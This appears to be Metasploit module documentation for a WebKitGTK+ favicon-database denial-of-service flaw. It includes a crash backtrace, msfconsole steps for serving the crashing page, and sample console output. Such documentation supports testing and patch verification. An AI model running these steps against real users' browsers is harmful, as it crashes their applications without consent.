Vulnerable Application
This module exploits a vulnerability in WebKitFaviconDatabase when pageURL is unset. If successful, it could lead to application crash, resulting in denial of service.
The webkitFaviconDatabaseSetIconForPageURL and webkitFaviconDatabaseSetIconURLForPageURL functions in UIProcess/API/glib/WebKitFaviconDatabase.cpp in WebKit, as used in WebKitGTK+ through 2.21.3, mishandle an unset pageURL, leading to an application crash.
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Backtrace using Fedora 27
#0 WTF::StringImpl::rawHash
at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WTF/wtf/text/StringImpl.h line 508
#1 WTF::StringImpl::hasHash
at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WTF/wtf/text/StringImpl.h line 514
#2 WTF::StringImpl::hash
at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WTF/wtf/text/StringImpl.h line 525
#3 WTF::StringHash::hash
at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WTF/wtf/text/StringHash.h line 73
#9 WTF::HashMap, WTF::HashTraits >::get
at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WTF/wtf/HashMap.h line 406
#10 webkitFaviconDatabaseSetIconURLForPageURL
at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WebKit/UIProcess/API/glib/WebKitFaviconDatabase.cpp line 193
#11 webkitFaviconDatabaseSetIconForPageURL
at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WebKit/UIProcess/API/glib/WebKitFaviconDatabase.cpp line 318
#12 webkitWebViewSetIcon
at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WebKit/UIProcess/API/glib/WebKitWebView.cpp line 1964
#13 WTF::Function::performCallbackWithReturnValue
at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WebKit/UIProcess/GenericCallback.h line 108
#15 WebKit::WebPageProxy::dataCallback
at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WebKit/UIProcess/WebPageProxy.cpp line 5083
#16 WebKit::WebPageProxy::finishedLoadingIcon
at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WebKit/UIProcess/WebPageProxy.cpp line 6848
#17 IPC::callMemberFunctionImpl::operator()
at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WTF/wtf/glib/RunLoopGLib.cpp line 68
#29 WTF::RunLoop::::_FUN(gpointer)
at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WTF/wtf/glib/RunLoopGLib.cpp line 70
#30 g_main_dispatch
at gmain.c line 3148
#31 g_main_context_dispatch
at gmain.c line 3813
#32 g_main_context_iterate
at gmain.c line 3886
#33 g_main_context_iteration
at gmain.c line 3947
#34 g_application_run
at gapplication.c line 2401
#35 main
at ../src/ephy-main.c line 432
Verification Steps
Start msfconsole
use auxiliary/dos/http/webkitplus
Set SRVHOST
Set SRVPORT
Set URIPATH
run (Server started)
Visit server URL in epiphany web browser which uses webkit.
Scenarios
msf auxiliary(dos/http/webkitplus) > show options
Module options (auxiliary/dos/http/webkitplus):
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 192.168.1.105 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH / no The URI to use for this exploit (default is random)
Auxiliary action:
Name Description
---- -----------
WebServer
msf auxiliary(dos/http/webkitplus) > run
[*] Auxiliary module running as background job 0.
msf auxiliary(dos/http/webkitplus) >
[*] Using URL: http://192.168.1.105:8080/
[*] Server started.
msf auxiliary(dos/http/webkitplus) >
[*] Sending response
msf auxiliary(dos/http/webkitplus) >
